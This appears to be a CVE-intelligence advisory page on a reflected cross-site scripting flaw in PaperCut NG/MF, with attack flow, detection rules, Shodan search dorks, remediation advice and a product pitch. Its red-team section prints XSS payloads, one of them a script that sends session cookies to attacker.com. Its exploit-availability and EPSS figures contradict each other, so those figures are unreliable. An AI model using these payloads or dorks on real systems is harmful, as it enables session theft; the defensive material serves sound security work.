☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Papercut logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1883

CVE-2024-1883 Cross-Site Scripting in Papercut
📅 PUBLISHED: 2024-03-14 03:09 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 11.26%
👁️
11.26% probability
281.4× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Australia License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1883 is a reflected cross-site scripting (XSS) vulnerability in the PaperCut NG/MF application server. An attacker can exploit this weakness by crafting a malicious URL containing a script. When an unsuspecting user clicks on this malicious link, it could potentially lead to limited loss of confidentiality, integrity, or availability. The vulnerability has a CVSS score of 6.3 (Medium), and no public proof-of-concept or patch details are currently available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): Low (L)

The threat level is considered Medium due to the requirement for user interaction and the limited impact on confidentiality, integrity, and availability. However, the low attack complexity and network-based attack vector make it a viable vector for phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a reflected XSS flaw in the PaperCut NG/MF application server. Reflected XSS occurs when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. In this case, an attacker can craft a URL containing a malicious script. When a user clicks on this URL, the script is executed in the context of the user's browser session with the PaperCut application.

The attack flow is as follows:

  1. The attacker crafts a malicious URL containing a JavaScript payload.
  2. The attacker sends this URL to a victim (e.g., via email or social engineering).
  3. The victim, who is authenticated to the PaperCut application, clicks the link.
  4. The PaperCut server reflects the malicious script in the HTTP response without proper sanitization.
  5. The victim's browser executes the script, potentially allowing the attacker to perform actions on behalf of the victim, steal session cookies, or deface the application.

The specific parameter or endpoint vulnerable is not publicly disclosed, but it is known to be in the application server component.

Vulnerable vs. Patched Code

No patch details are available at this time. The vulnerable code likely involves a parameter that is reflected in the response without proper encoding or sanitization. A patched version would implement output encoding (e.g., HTML entity encoding) for all user-supplied input reflected in the response.

Vulnerable Code (Conceptual):

<!-- Vulnerable: Direct reflection of user input -->
<p>You searched for: <?php echo $_GET['query']; ?></p>

Patched Code (Conceptual):

<!-- Patched: Output encoding -->
<p>You searched for: <?php echo htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8'); ?></p>

Exploitation & Lab Setup

Red Team

Since no public exploit code is available, a red team would need to perform manual testing to identify the vulnerable parameter. The following steps outline a potential approach:

  1. Setup: Deploy a vulnerable version of PaperCut NG/MF in a lab environment.
  2. Reconnaissance: Use a web proxy (e.g., Burp Suite) to intercept and analyze requests to the PaperCut application. Look for parameters that are reflected in the response.
  3. Fuzzing: Inject common XSS payloads into identified parameters. Example payloads:
    <script>alert('XSS')</script>
    <img src=x onerror=alert(1)>
    
  4. Confirmation: If the payload executes in the browser, the parameter is vulnerable.
  5. Exploitation: Craft a malicious URL with a payload that steals session cookies or performs actions on behalf of the victim.
    <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    

Blue Team

Blue team detection should focus on monitoring for anomalous URL patterns and user behavior.

  1. Web Application Firewall (WAF) Rules: Deploy WAF rules to block common XSS patterns in URL parameters.
  2. Log Monitoring: Monitor web server logs for requests containing suspicious characters (e.g., <script>, onerror=, javascript:).
  3. User Education: Train users to be cautious of unsolicited links and to verify URLs before clicking.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • URLs containing encoded or unencoded JavaScript payloads in parameters.
    • Outbound connections to known malicious domains or IP addresses from the PaperCut server.
  • Host IOCs:
    • Unusual entries in web server access logs with long query strings containing script tags.
    • Browser history or cache entries with malicious URLs.
  • File IOCs:
    • No specific file-based IOCs are known.

Detection Engineering

YARA Rule

rule CVE_2024_1883_PaperCut_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting PaperCut NG/MF"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-1883"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
        $papercut = /PaperCut/i
    condition:
        any of ($xss*) and $papercut
}

Sigma Rule

title: Reflected XSS Attempt on PaperCut NG/MF
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential reflected XSS attacks against PaperCut NG/MF application server
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1883 PaperCut Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"PaperCut"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Apply Patches: Monitor PaperCut's official security advisories and apply patches as soon as they are released.
  2. Input Validation: Implement strict input validation and output encoding for all user-supplied data reflected in HTTP responses.
  3. Web Application Firewall (WAF): Deploy a WAF with rules to block common XSS payloads.
  4. Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS attacks.
  5. User Awareness: Educate users about the risks of clicking on unsolicited links and the importance of verifying URLs.
  6. Network Segmentation: Limit exposure of the PaperCut application to trusted networks only.

Report generated by Valters IT DevSecOps & CTI Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

PaperCut NG
PaperCut MF
http.title:"PaperCut"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1883/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.